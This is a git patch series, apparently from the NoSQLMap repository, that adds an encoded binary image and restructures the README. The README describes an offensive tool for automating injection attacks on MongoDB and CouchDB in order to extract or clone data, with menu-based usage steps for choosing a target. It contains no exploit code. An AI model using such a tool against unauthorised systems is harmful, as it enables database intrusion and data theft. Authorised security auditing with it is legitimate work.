z_BAQ@8%Uv)hPh=x$*slNP-}-V(bMm3K}EK)ylOu}VPbbe72?dhuoaf6BS3L$Qn>?% zS!sJ1b9_{6^i8C6q~yOIV4TVYR9@tYGSO<*3_xWGp(>SuM;S?@!8dS=1HxQ2mi<8C zx}Ob3wi*O7spc;RstAfS(B*sqekV-~E`pk*aTzByI2M?!8}l5knD_)cG?MoH#bpTT zFg3cedt5x`1fUtktG56%c@SRI6eV^M71%LAQQmF!9h0&=P(s^S-Zd#iRSguflv2x# zM+R$+akc40&DKd|01-g9NH!XBHHkvwwT;j&4k*GHxP&s14<1 z?kWI=2H@Nnd2L^6gWh1Pw^eE0p2b7h7J-&!j4JcKA$?^~1jCaL#KMU$KoX;thK}GA z6@X(#-6^`pcen}={`|byRZ6@Tp_XNgD)YV~sYDZI7RZ7Ywhc0Z0J=(lB>9=;RmXmn ziBwrQi)?Y}RXHju;#~#t1TvU)D~p3!s3_kPB@*s$a?LqWqJ~J72Z+LwzY!oaPu#F} zD0$oRexjzBy0aujh=F{{r_)hrUTS8p0-8L_V2!z)PJJ<6pELQ0jl9P6${mZ0H#w#( z-@_W?aeI}lb5%CXivyGxPPRVU&c8RQNJtwwu(?GRFHkFxu_V?41YI#7=MCzV3}#%R zxQ`B}$p|w9t2c-o)K}#-3X6PZBnnqdP_~FKNH>Xa7lEi*EZ=r>vL9H0x4KRg7I>&b z$XL=4+5?O&orE9rJY7UPiF4T@R()7Y7 zr`?cF!X>oE+NS^)a1dLp#gYI!vamOR7G1c+YXei{gc*WWo0WdoXJJVD{#YYtvrt@x zxX~R|(!;PcIJ#b9@kIhO(tV?n--vo0-V6FD)!8x3%veRZx|J;38p^bx-t`}ideFBx z&$)}MBTuU9V?^OgdsGL!ia?Tv&~o^ftL307Xj>A{SjL;hh#|zyzUb#rJ5XS4*>93F z0;=*t48bbR%$}WER&$frh|tal<_T8Of`}{Hhq^?}f+N+9rFM|x#PVWh*EH~0zQ+56?^Sx67Ft^FBI~2mdP73MRmDet(q}a+0j}O7 z$x%hvAYnPNs?2&V*ySpIOvR&zh9SWH!kia%64~EO4;$3nvc|@-3h~r268+I_?r8cH zl<@|zCd9*YHl0OVOw2CFL<;&oO)f=XS7&r!BQ)bQ1X$Yj8%($4$@E_ zRv=))ffNxGOC5Cugf2U74YH~{)saVmf~)RgqTX)crUL_j$aoNjIIIw`DWR=ga%e4T zTUK+3G{vPf{7ow6Ze?`DZ#OED;v5$?qOt97<^^s!f*LEtFiWB=mJNl8ozn!m*CA~P zj5!8cw&{qxIXpEGwzVq~!x1QzyhTx%mxAz5Xq`(!yOox%OS>Sqg4k^lRHp=*0p_D( z5Wu8zB4HlPO9e2nN=p$ih=`jQZlKmSM$$5X@RmVBjXX`cf^te=wg93cS=gt{TikAh zl=T2Bq0}(yF5n`dCrG820>&nVKXC7VW*8{uSTl=*1R04}R~#=%k;(2vZWb$tJxrcl z`HmK9RIV72Ih#DftZd>_u3^^RHd-DL_x^zU^cvJc*#ggL?M=&hnV3Ne~4Rt zXF;g9P3?G%rQ1U6su0LkaOW{ztoj@R@yk0rPGV5c@-)1Nwdc&Kh*1GROxXC(37`Fo z6=hI{LaT>4mbH1ngxCrdsvKO~jl4&@FKjx1jjDD~4xk#^1(l1C7}qlC>!{Ux1siSN zWf=OL)_a&zY0Z}U4P1uB1Hj#Btl|N87zk)|$~@FD1$3J1Fx3%r<_JKESRfrVW!?;x z6z(BQxJ@q?sERtESab#h#HRHa30)JP`BnLr9V?z6g#K1B?mK}=?yX+&Y*|vM&^oFs zsf_`EP^LT;h0a{DQiz3sRNO2|)iqqikdHhl($+Phs)k`O@B#d`aaPJ%mE|f-ojuI# zglj8kbDhRCQJp)yg1kIMT5tCPM;}2l&Ab#8)#oHf7OS!?Z{qm4Qd2_(hKdH7e`Id_ z2gF;qB)fy&qEov#j%wyi!oqCgac3KaRrM=*F#^t=bpb_5tZbGAu`s~hj!1quoPAEjWL;+#W#gA~cjI62`3L?iOXeocpH{ z?1gWRVpE7M-P6MmbSP|@yD*coDER*XPoGX@UQbMzf}<;fG*{H-aj!>E+~RQxIJs_4 z8J*or)ZUtf%n@6ABtAWE|(V4oF~017O)r z8gey={9nRzv;m92;K71s+8jKrV+Sp{dxaLh5J}dEVRfG}($_-?>eHt|0>U;a8@WT? z5rVKl2ZOkjNpJ#^FL9SG>cZrU3v!(I0;83rx&k>3lJzBF*tXCBJOxFrV1k+Dqpe{P zgMc~O(rV+vp8luIc+9Xnuv))`mX{>h9gW@8{$2?UM1!H)Y znxSmeuC2aKqEr?nE4OqN@l`IzK!BFH2wb^yEE@3WSPQG$n4_oaJ^)(JwzfEqc!(8N z2!VShJAi<^0024&g~#bA7e&0SWm!VwnO(ySxp=8>#1&Z(t6Pl2QaX?YswNf3=g6yFWLcV$4u3<${lIY#mdF*DLRLaA}|5pOr>j? zsOjm#M}8eK)H@<#&3>jd#9Pk{PJnEcNuaB`r=t6Uk*c^1pFYxOq*$M@f5~#{>=TKU~ai+0^S1lk4P`s@*2H~5aSj?42 zI93D}DOnYewpigYjLJ1y*dS6k?yoz)Lr1IF<~`Z@i>We7Tn>wV5Yi=`20?96cy)mg>E*~TbZ`#2jp0FTxZU%AtT$n6EQ6d6 z(lItI3&ka^8+vh&niqr>o#>-=Rf@ZgJh5t}`D?{hc(^!27Duik`62zWnpieOr;G=V$Rm=rNFJkQo}a3QXC+y)gx>n*37|5 zqgQKnT=+yw{hfxeL9QA1{t5yWO^$YRl5P+Or2WPq)G)mSB4XCo*)T}Q% z1+7KzdT{CmgoltQU2I-{;8}nud&32e02dYter5t|b)d8@b5^ThMYEwpM%&KrxQ03T zMdr<*)7)S-D`XBR300dp#A%*9cGEg9O6D;jWZT@la)5GB&9R!yIdimCrxIi*Xi!-a z9Jmw(z_(B~870C-&7%n0m<>KRDyAg#Y`K+I#vh^?B39@`3oh;?hN9Gp_#<4vIKZa~ z8#x$8+{(vHN`drL*Ff_vEMRPwRVA)EhlqY=3pdo}R&3v0%WWX-H0+2VzOEt#?wr(H zGD{T>58O*1{AJWBZ=@|`Enf}BveDzHm28t18--qQo0v?~hFTQlf)5|40cN;)i;Z^y zxws<4#|&ETI83A%73c>Mx$OB`Sb*4yMa_1^6UQqJj(7?X~Z`+N^Xa=wzDWZ ziI|m3r%+X9X3uC5Q%S=Qy97i!1Dm$EXNV?|vNQu@Mp}$99nxzS z=G)g%Vz9G7?6We%pg2?(r756S+6wOb1O`4~@|_;dgc81DVizS$4IXV&{8^cF3bwY! zh$?8?&F1RiO$~)~2FH_GiLQsa#Z_Kyzo;>GCSM~)GnmjmHP}&^cIKl-3c+-gl)Q4` z#9NCA05k!}JIuk7?f@Vd;f-$cwD1xI`Ier9_7#e1%cy`SM^wtNd86^5PP{{Ugy5Ll2B! zA4G16Ynemr{w7!IwDl>-W)%RsE%5A)Ryc`G@XJ-1oc*M&*{{^vokT}6><+aDhaE&R zIrJA@8#;kCzkR_7$@`9(kD_2+k+omk%~znD$0wM0mPdG%LZrp_8%nSI8}vkT8m}{% zn~m`oFBbhvuqq2&#^8dsK}QVd(L}Gz;$&gmt>QinC0g+BWa`xTmz(P4?RzdYQt~20 zBU;5%eMz2lq`7u!5qfbc!n46)?yi{(l*9U6)IgcK7UKyl4DzDL%f{tcKyau65~^}B za{%!O8(zdHqVWMi&ZV~mt5a1m=*%ef`!Qgti2#aV4W%tLaK-wewW^_Qa)&S}khD?N z^IE=YI+=*+Jag$2;u->m%n8y+rnLl0r^y_PcG128JBe=X(}a(lsT zAUE>JcrePRg1$o|glgrc&>^*;%bmvAu>DK0TOBnoLiT^GkwJU7gbT^}g7MD~$w_@p z!mgfWs`!GGZ}%?}?5B-FTd~h_#`%Ktx9(?!?j_tdw9EkP(^t!Xter#{`84<t0P!WX=TC0_DpBBXk043FO%iEN0k9l-j z%PfMZ2I=Od704B4>TqM`Id7YR+&ydrIT#5@pP%$H&#RBH5+?w6PT&N~2*b@1povEl z;e%ZqOGQ@NTDjG-lUZyWF>NneYP`$cbKD)(LrpoFCP50c*L2IT`uz^jsDp}m#J&>7 zBxGYU#TQ)6GXdr)ZYfPWAh9jv0k!`CT)hhP4c`*A0mJx&j=HcGwAR-ddJYJ}5FK?e zsIKGsAeRfJR%TNRimoco9_cD9Q$x7*g+^wzP6@m<1?r_%qpPF+Qy>&5$BT;^2ocgc zh{~}!4M4>@VrE#v4^{C(#Z5BCIAU@_T|gy&(sCGkj@u&5%g2dzjwRD(qF_raS%Rp~ z895lG;wVZg?sh=3mb&u|dLlhbNT4Y$DO$(4wW)J+bIfJdW#X=-{!z7W(w1Cs;#{Vl zBI3GMhTThS|_EbE7?E2aw-*r$?KG z7RyJ44eDPHX;Kw5wwt#tIwn#r_ehv*F2=Df_TooCGzF&Cvk3Oa@Vv85Mdml*lBy)L zNE+56TcIf@8K$r)ZY-A+;lb`^Gb2}Y1TJ-hnOC0OvW6n01v#3mWuhKbcwxOlN={H2 z>_gbCH#ANiXNZG}#<$F4j-;r1w=f;C^A$|E>oleEub8}bIW}-%$zJXm58F@>H)&mkH*)TYhB&ZZ#~ZQ4tYB0C z;vlJ4a~O5Y-0YYC0FVuUY*W7C?g}L_VO-^&s!*Lyo_sK}Bs&I6t_<%6;;0MT3=NYs zc?j+$v}t)yN<1Z!D7CVm2={rH4b2Q<%c9`S7}*vhL9Z|7DkV}{-FJ6V{7cSZ>TNPGEyvWN zMr35%0?m_IL>mrGo`BW0e9lf$zF;+a_lV1_;#$B7YTD*C{{X9;RMVNqqpkWIjgDqW zn7HdDj5T4gmfTfW9)WEx7?!R{XnG;sSh`vKKq+Gl6GhZ#4MD2%kl%2ymrT5=Nn0)2 z-Nh<^^qz}B;0Tu7Ia5goSCJy6$=Q8-BjA~ijr8z0g)mq-_t;-87jIQ-fK$|9QwIj*4_noP^K#{HNum>d`Y ztpEn)CQMooQ?i;axsI=T9Ro>Kd|q6{X=u?@0j&#C^awV^*=w0_owIq|APSHa_Jg%2 zylc=2Nb>>8iL2@)90Q)>^4a;7m?u9lEIA#{ahi^&J0cTKmptc=h0inSl%dOSmEjBCQ*zBvz;on3N+P0Ih(^ z8ObPouW>fm5mmiX+(>n%urydVO(l(PHXSW+GsxzftfXQf46BF(y9Gco7T|B*S^PD^ zJz0V8aI=yd+NzbRvgML3ae&QNnvQ+YfY1Qj?S{YQToFdGWz*z>5L=0$$>b#}QqXF! z2FlLN#r^WTu)?pghY^-qk#%@DP_~PAEshID)SWYw>JpP@)w_Di_{;#nPj=9-VWyJI zZdQL9AP12tte`@a5ql^tny5K+79cw;(-9K0OSV0wK`3ma8_k-<=(gokV+y{;97@M& z4D6t`YOitX1e`M7M%yo<;OAihL;{6UH(^xD(Dpe}%K^wVmNmFSt4hlWLA6k>OCl=E zAzbKOzXiV#GRtC^PIqJFh8nH2E&^5SC3{Bp!qxDA&{v)zIYF90sxfYzMF~i?9bt0Y z7Olmsf`n)k!?$pk!)_c!mI@p?xu3x`b|Z@yw>JVmDE-ik#WQ$SVltia77PW8-Yy>~ zqee7g*1t194OKD*xoCy)QCpY9mXr`Ovs6CHWKvrE5*t*_5m|NE_%~$7yvJr`$WVu} zk3{LN5-1#ry%uLPf`ogMry656lrT16))KU}R4T6QtV%Uuau${~Wg;R8TAa~?buP1D zUSxH*gkixe+-n|edG+L7$X;+v;a;q}nrCysW+HB1XI6!DC&k+@Y zxPc*p`gJL#O3*A-HZ3@_sJvU@%7y+SoW}n1X>H2}^DHWxd5Ky+>{8seTP~StY`JW< zTNIVlxpL8$I1%&?c$aK4{{TLxnQ+TdbE(29oJ;g4>5RuLYztM~-L3my#mlX;D5ql9 z_?3C*n-_s;jx#LfyWSXqyeN#+yUT+psJN4>cNSd2HDN&p#LaOXA`OworwAogW(po_ zaZwf8#7kIkoa&_*VpL%A8K;vGJ}c(7C91YKyNiU4@}D}<#7&J-RatiO?jQhE6%>pD z?LOcty}_DXnyMGboW@}6P_`TFTLf_C1YebhElHJ>rx}1Ru!8AAgKX4G$bh5@2OwPU z7fq7zwhW@C6|=gfL6diVzh5T$h?<{{TQb3xEcnAj;FMiLs0vsT#}& zornr37eBZu1WW*lbXx>4!Ksl%=z(%xYG)^SKqZ9~T-V&T5I1%0Ug%s$&h-f>wPfmD z2H@EFwTPUI2)i|w3w@%wcq2~>>0+=XX=pyp4)Fji{R$`mn=me=qJ=SSLmQEdqMcQT zFfoOf68AQk$fmgmC~%h4L7Q5&jD?MDPQzCU!K?L{s-Ppa#T!cN3R|kh zKIO>-6qDHe*PDP?H+5Bc1fJ5W*<{r!XZ`7~GGH%WX4r zb1*T5ml%Wg$haMAz!%~e>PF!bPsKsmXyza)x$(@ZFiXMTq*Bt;Py7m%DqB+bMrE$0 zVpOS8r8<=>60s{1nOTT&Gbxn_Yq*yZnvTF=0IgR^Oy&+)FAZ9&MZK;76^`(ooh>Vb zaikcA1tz(IB&8v>g^zZ4H{He2!^BD@$kCV2(F<>2m0UEj1!YWE5mmGqAX}?sJC(>P z@2tuIOunj8fp?#2fq@knZXso7Km{7ML%5>??XBI%wT8q2T*_Ehm589`n?2)YEh<$+ zKw2sKsbN=R#9Bc+A2A%G_thn`;}t0%fz}EocI}FBX-qYH14~8pVNrh+(CY0kvT0aTHa$?)3o) zNhX5I)uv{I&<3bVWLmFy_?Q(9(??Db$tf^Taw|*=HYK6pE%@$NY@AuV0=P#NjJ?*DDZz1Cf;jyD z0NA7ERc(3gLSGPkR{GjiePm!_BBqVxzvdqRRt?-Nag>TnQmWxg6$&jD_NV|WH;TDd zplC+TCCmUN)xx@=p|mjLDF;eqctfyq_IZbz+}@>@*txmcV{HaYaE zkf}vn)~6BG!zSuJ5N~Sp6sE^5FRS8xn^(PXt~M}=6Jle1Zu;4H@E zlr+HrgO-JVG%)y!Z@L^S4uJ<30WKujT)t_BO1DkXS@!m*-9QS|Laz~m20K;(!-0GY z8TO?wbO5u-H%oLxEHGib8<`6!P*~-M3>Au&02ZMYcqI&v86{Qw7;cT&TBq7BHs>RK|c^BKOn<)EA{d z4rSJA5;y^aen(Q0FEEK)pywXaP=LjP;}eEH#7_BTL&C8(EyEi-qKZOw(F%4@O)}vS zXpmTF*@iV>^i)vGg8Gaw5h_T)EqTGC4?2FJm4U3RAutgl=sd&Vm@cSM4E9ThYEg&* zY8VVbwS2&JB|IyCNYCDl`#@bQ+EOgqa3Zbiej|@08ZEHD2^eft2A1J=OTFf`i0odl zY7rY0<4xy?<;}sPM1td1%y|qXBWocR)oT&;5MULTZ2@2cJ0Q3pY^WWB%qse<)k+)4 zaTdj&jl4B!+dx>&mq>4*|StjzA|_kj8mR4!`3 z7gum`$_3=TK#vNsF5(WzFdrlL78m@xU*mNeFwEBzjBb0waXWJzbsC#-1D{7z9J30% zwdmD(nrYXea9T{)rFtS4H!Bwilw6@KiBG0#y-c!zyU(;+eR-5_W9TiQ;I(lbvEh(P zj+%22BBiSivgT0BP}AKm{Kqdqph{>o*^JBVPnobJ(9NOQZ96T5d_h?3K?OqE%|=Gx zo9j7tuWJx#$nWZGz)V-<%v8=CM{8?up5{Z!t5=pc6Sq*-7A{M$@e~E>l&+M3@d$Ab zlQDwH0$Ejd-!a31DngO26A2BIhCmwx=91uM4xT4jRd|cb!rh9raI{@?OKLIQD5{2z zZ1cFu5cMflEhB#2OaM+F0=5)Kkg)qKCJksGd%)BN_%2ysUrS5f67?!dD}>1rVChe? z+(ki{o4bbYw63uarsP5QQx;wY>g>C@YH!rY(5sBN^DV0&7db6Mm+mU+SBG4*cF@#q z*mj<0Z!G7W#V+*}p5K_180grN^5kjw>ITiG{{S^Pmy=p0+q+wENGo#LRV$3E?y*2I zVjZgGW$w+iMNm2|Tz3rz(hs_rQpZ~-2G5Wj^Dfv;rHet)YSG+k>M4j&iK7em6CNPG zm93R^i;IF;V1~rxG}X1$!bSk9n+&k_i6CNrC2SyKg)&kBrp#t!rr@*MMfX#f{dSdD zb(b-vO@yB5cjg-@Ldhur(`GXWg-5(#-USov^JZq1MN9Dvi_tCHn~k>@5#2)>mBiZz zaF{KX1JY^+E@>}5mvEzH%DWsvOCb3i_ctn377)X6FD4-c9`d@CY|OcW)#+K4h}~z> Jrx3$G|JiMd3#$MC literal 0 HcmV?d00001 From b17ededce96aae3f0f3d954ceada382767211be9 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:16:16 +1000 Subject: [PATCH 15/68] Update README.md --- README.md | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index f69aa31..a7a527c 100644 --- a/README.md +++ b/README.md @@ -6,6 +6,9 @@ NoSQLMap # Introduction NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database. +# Screenshots +![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) + ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. @@ -34,6 +37,11 @@ python setup.py install # Usage +## NoSQLMap MongoDB Management Attack Demo. + +NoSQLMap MongoDB Management Attack Demo + +## Usage Instructions -Start with ``` @@ -65,11 +73,4 @@ Explanation of options: x. Back to main menu-Use this once the options are set to start your attacks. ``` -Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to nosqlmap@gmail.com or find me on Twitter [@tcstoolHax0r](https://twitter.com/tcstoolHax0r) if you have any questions or suggestions. - -Video -===== - -NoSQLMap MongoDB Management Attack Demo. - -NoSQLMap MongoDB Management Attack Demo +Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions. From 103648589b7cfee0991b9f1427d0072799f5cc82 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:21:17 +1000 Subject: [PATCH 16/68] Update README.md --- README.md | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index a7a527c..eb57138 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.7 - -# Introduction -NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database. +NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. # Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) @@ -13,7 +10,7 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. ## Credits -NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). +Originally authored by [tcsstool](https://twitter.com/tcstoolHax0r) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). ## DBMS Support Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. From 7f4154f0df624f8d8e0746540cea322116eb2d74 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:22:22 +1000 Subject: [PATCH 17/68] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index eb57138..d12eb58 100644 --- a/README.md +++ b/README.md @@ -6,11 +6,12 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate # Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) +## About / Credits +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). + ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. -## Credits -Originally authored by [tcsstool](https://twitter.com/tcstoolHax0r) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). ## DBMS Support Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. From 6badd8db3d000b8136294bd8f93081ccc59a5c81 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:23:23 +1000 Subject: [PATCH 18/68] Update README.md --- README.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index d12eb58..eb15fa4 100644 --- a/README.md +++ b/README.md @@ -6,9 +6,10 @@ NoSQLMap is an open source Python tool designed to audit for as well as automate # Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) -## About / Credits -Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). +# About / Credits +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). +# Summary ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. @@ -16,7 +17,7 @@ A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") ## DBMS Support Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. -# Requirements +## Requirements On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: @@ -28,18 +29,18 @@ Varies based on features used: There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. -# Setup +## Setup ``` python setup.py install ``` -# Usage +## Usage -## NoSQLMap MongoDB Management Attack Demo. +### NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo -## Usage Instructions +### Usage Instructions -Start with ``` From cd1683758fbac9f2724c55d42f94ac4f02628368 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:24:44 +1000 Subject: [PATCH 19/68] Update README.md --- README.md | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index eb15fa4..6f5314e 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,10 @@ NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. +# NoSQLMap MongoDB Management Attack Demo. + +NoSQLMap MongoDB Management Attack Demo + # Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) @@ -13,7 +17,6 @@ Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now mai ## What is NoSQL? A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. - ## DBMS Support Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases. @@ -34,17 +37,10 @@ There are some various other libraries required that a normal Python installatio python setup.py install ``` -## Usage - -### NoSQLMap MongoDB Management Attack Demo. - -NoSQLMap MongoDB Management Attack Demo - -### Usage Instructions --Start with - +## Usage Instructions +Start with ``` -NoSQLMap +python NoSQLMap ``` NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: @@ -57,7 +53,6 @@ NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap x-Exit ``` - Explanation of options: ``` 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack. From b722121a8f0544a746c5c29a1031e50b881fcf7e Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:25:02 +1000 Subject: [PATCH 20/68] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 6f5314e..607eafe 100644 --- a/README.md +++ b/README.md @@ -3,14 +3,14 @@ NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. -# NoSQLMap MongoDB Management Attack Demo. +## NoSQLMap MongoDB Management Attack Demo. NoSQLMap MongoDB Management Attack Demo -# Screenshots +## Screenshots ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) -# About / Credits +## About / Credits Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). # Summary From 9b88315a44de330566521a9449492825e725b4bf Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 